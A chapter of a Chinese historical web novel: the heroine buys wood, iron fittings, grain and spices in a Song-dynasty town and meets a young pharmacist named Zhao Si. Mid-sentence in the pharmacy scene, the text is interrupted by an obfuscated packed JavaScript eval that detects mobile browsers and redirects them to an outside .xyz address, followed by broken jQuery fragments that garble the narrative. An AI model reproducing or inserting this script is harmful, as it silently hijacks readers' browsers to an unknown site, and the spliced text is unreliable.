14. 第十四章 采购香药

作品:《北宋女子创业记

    因水路发达,朱仙镇上靠近运河南门码头附近设有不少专门做木料生意的店铺。


    选木料这事儿穆叔比较有经验,王文茵她们跟着穆叔沿着河岸一家接着一家店铺找寻过去,货比三家,最后找到一间规模最大的木料铺子。这间铺子木料品种繁多,用来挑选做饸饹床子主体框架的硬杂木最合适不过。


    在穆叔的建议下,经过筛选和讨价还价,最后王文茵以二贯钱的价格买下了两条质地最坚硬的枣木。【注1】


    见木材铺子门口还悬挂着几只大小不一圆圆扁扁的竹簸箕,王文茵不禁想起后世有一种叫“窝篮拉肠”的小吃,正是用这种竹簸箕将打薄的米浆蒸制而成的。


    便问道:“掌柜,这竹簸箕多少铜钱一只?”


    掌柜见她出手阔绰,一气就买了两条硬枣木,便狮子大开口:“不贵,只须三十文钱一只。”【注2】


    张二嫂惊呼:“一只竹簸箕卖三十文铜钱?!掌柜是想讹我们小娘子呢。”


    掌柜笑得无辜:“大娘子你可冤枉我了,我这铺子里的竹簸箕是咱们镇上一位老师傅纯手工编织出来的,品质跟市面上其他家卖的可不一样,不信你仔细瞧瞧。”说完拿起一只竹簸箕给王文茵看。


    王文茵也分辨不出好歹,正要掏钱买下,却被穆叔阻止了。


    “小娘子,这种簸箕我也会编,静缘庵后山上遍地都是竹子,何须浪费钱买这东西。”


    掌柜一听就急了:“你少吹海螺,我这竹编技术可不是谁都会的。”


    穆叔指了指扔在墙角的竹白:“掌柜若是不信,我可用这些竹白废料当场编一个给你看。”


    掌柜咕哝道:“那些竹白是要钱的。”


    “几文钱?我买!”王文茵豪爽地拍了拍张二嫂抱在怀里的钱袋子,里面装满了早上刚从钱庄里换来的十贯铜钱。


    掌柜支支吾吾:“每斤一……一文钱。”


    “不对啊,你这块牌子上明明写着竹白每斤六分钱。”王小郎君点破掌柜的心机。【注2】


    掌柜大囧,讪笑道:“小郎君竟然识字,呵呵,确是六分一斤。”


    王文茵收起钱袋子,对穆叔道:“那就不浪费时辰了,穆叔,咱们回去再砍竹子编簸箕吧。”


    “哎好,听小娘子的。”能得到王小娘子的认可,穆叔高兴极了。


    离开木材铺子后穆叔给王文茵提议,在床壶底部加一块钻孔的铁皮,这样便于挤压米线,还耐磨抗压。


    于是,几人又辗转去了位于后巷里的打铁铺。


    打铁铺老板是个外表粗犷,面相狰狞的西域汉子。不知是因为长相还是身份的缘故,来他这儿打铁的人并不多。但王文茵却一眼相中了他的手艺,权因他拿出来招揽客户的铁器都是些日常所需的锅碗瓢盆和五金件。


    王文茵跟铁匠讲好价,以60文的价钱定制两枚带有不同粗细筛孔的圆形铁皮床壶。【注3】她让穆叔留在打铁铺里等铁匠完工,自己则带着王小郎君跟张二嫂又马不停蹄去米粮铺进货。先前跟妙善赊的一石米已经用去大半,庵里没有太多存粮,既然来了镇上,正好顺路买几石米回去备着。


    粮铺老板倒是实在,听说王文茵一口气要五石陈年的早籼米,便以600文一石的价格卖给了她。见粮铺里还有大豆、绿豆和小麦,王文茵又以55文一斗的价格各买了一石,总计花出去4650文钱。【注4】


    买了这么多东西,张二嫂又开始心疼了:“小娘子今日可是花出去不少银两。”


    “婶子别担心,我阿姊会加倍把这些花出去的银钱赚回来的。”王小郎君对自己阿姊的赚钱能力信心十足。


    王文茵听了哈哈大笑,拍了拍王小郎君的脑袋夸道:“知姐莫如弟。”


    张二嫂也跟着笑了:“小郎君说得对,是我糊涂了。”


    “不,婶子,你没糊涂。”王文茵道:“开源节流是创业的根本,只不过该花的钱就必须得花,今日这些钱花出去是为了明日赚更多的钱回来。”


    “我信小娘子的话。”张二嫂仿佛已经看到自己头顶在下铜钱雨了。


    这边跟粮铺刚结完账,那边穆叔已经推着轱辘车过来了。


    穆叔将两枚圆形的筛漏状床壶拿给王文茵看,王文茵发现那个西域打铁匠虽然外表粗犷,心思却很细腻,手艺着实不错,两枚简简单单的床壶缘面竟然还细心打磨过了。她很满意,计划下次再来进货的时候让西域打铁匠再打点厨具啥的物什。


    眼看天色不早,一行人正打算出镇回丰收村,王文茵无意中瞥见河岸对面有一间药铺,便让张二嫂他们先去镇门口等她,自己则买完东西再赶去同他们汇合。


    ****


    药铺在河对岸,附近没有桥,王文茵沿着河绕了好大一圈才从两岸相连的石桥上跨越到对岸。远远看见铺子门口的招牌上写着“赵太丞家药铺”几个字,顾名思义这家药铺是赵姓太医丞所办。【注5】


    宋代的药铺分为官办和民办两种,官办的叫“太平惠民和剂局”,隶属太医局,是官办的药事机构,也是中国历史上最早的连锁药店。和剂局遍布宋朝各地,有官方背书,除了出售已经调配好的常见药物或药材,也兼做全科门诊部,以惠民的价格为光大人民群众看诊、治病、配药。【注6】


    而像“赵太丞家药铺”这类民营药店虽然也能看病,却是除了头痛脑热、伤风感冒、肠胃不适等常见病外,更擅长的还是某一类专科,诸如儿科、内科什么的。


    赵太丞家药铺临河,正对着一个拐角的小码头,两侧是书肆和钱庄,闹中取静,地理位置十分优越。


    大部分药铺都是按前店后坊的格局来布置,前面店铺主要负责陈列售卖药材,规模大一些的药铺还会有郎中坐诊,病人请完脉便可直接从药铺里买药回去煎制,十分便利。而后面的作坊则是用来进购、存储和加工药材的。【注7】


    王文茵踏入药铺,发现对着大门的柜台后面有两名伙计正在药橱前用戥子称量药材,左手方靠墙的桌旁却不见坐诊的郎中,便上前询问:“店家,我想买点药。”


    听见有人问药,其中一名伙计


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822228|158756||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    转过身来跟王文茵打了个照面,两人皆是一愣。


    “是你呀?”伙计正是先前在胡辣汤店里仗义执言的阳光大男孩,发现来人是王文茵也有些意外,再仔细观察她的脸色,实在没看出有何病症,便问道:“小娘子可是身上哪里感到不适?”


    “郎君误会了,我是想帮卧病在床的婶娘问点药,再顺便买点香药回去。”王文茵将李阿萍母亲的症状大致描述了一番。


    阳光大男孩凝神思索片刻后道:“在没见到病患本人之前怕是不好判断,不知小娘子口中这位婶娘现在何处?”


    “在静缘庵。”王文茵顿了顿又补充道:“便是丰收村的福田院。”


    阳光大男孩点头:“我知道那地方,先前曾去过。”


    这下轮到王文茵惊讶了,眼前这位郎君虽然一身伙计装束,但怎么看也不像是会去福田院的人。


    大概是看出王文茵的疑惑,阳光大男孩腼腆道:“我是跟着兄长一起去行医的。”


    “原来郎君是大夫啊。”王文茵油然起敬:“失敬失敬。”


    阳光大男孩的脸唰一下就红了,摆手道:“我学艺不精,还没出师,只是懂点皮毛而已。小娘子若是不嫌弃,我可以明日亲自前往静缘庵替你的婶娘问诊。”


    王文茵大喜过望,朝大男孩福了一福:“我替婶娘先谢过郎君。”


    “小娘子不必客气。”阳光大男孩还了一礼:“不知小娘子贵姓?”


    “奴家王氏。”王文茵道:“敢问郎君贵姓?”


    “鄙姓赵,家中排行行四。”


    王文茵心说,这位赵四郎该不会是被派来基层实习的太子爷吧?


    结果人家还真是。


    “这间药铺乃是我祖父创立,如今由家父和兄长接管。”赵四郎不好意思地笑笑:“我只是打下手的,平时也会在这儿坐诊,偶尔免费替人看病出义诊。”


    王文茵以为自己听错了,问道:“免费出义诊是否含有附带条件?”


    赵四郎哈哈大笑:“小娘子放心,我为普通百姓看病出义诊绝无任何附带条件。”


    王文茵尴尬笑了笑:“是我以小人之心度君子之腹了。”


    赵四郎摇头:“不怪小娘子,我家药铺以卖药为主,深知普通人看病不易,我能做的也仅此而已。”


    王文茵岂会不知底层人看病难这个道理,她自己就是死里逃生才侥幸活下来的,其他人未必能有她这般好运,所以对赵四郎的义举心生佩服,赞道:“穷则独善其身,达则兼济天下,郎君义举奴家很是敬佩。”


    赵四郎被她夸得不好意思了,红着脸岔开话题:“小娘子还想买何种香药?”


    王文茵拿出一张纸交给赵四郎:“我需要八角、肉桂、胡椒、花椒、陈皮、山柰、香叶、茴香、甘草、丁香、砂仁、草果、白芷、木香、良姜、干姜、豆肉蔻、白豆蔻、和草豆蔻若干钱,具体数量已经写在单子上了。”【注8】【注9】


    赵四郎拿着采购单研究了半天,很费解:“小娘子买这许多辛香料是做何用途?”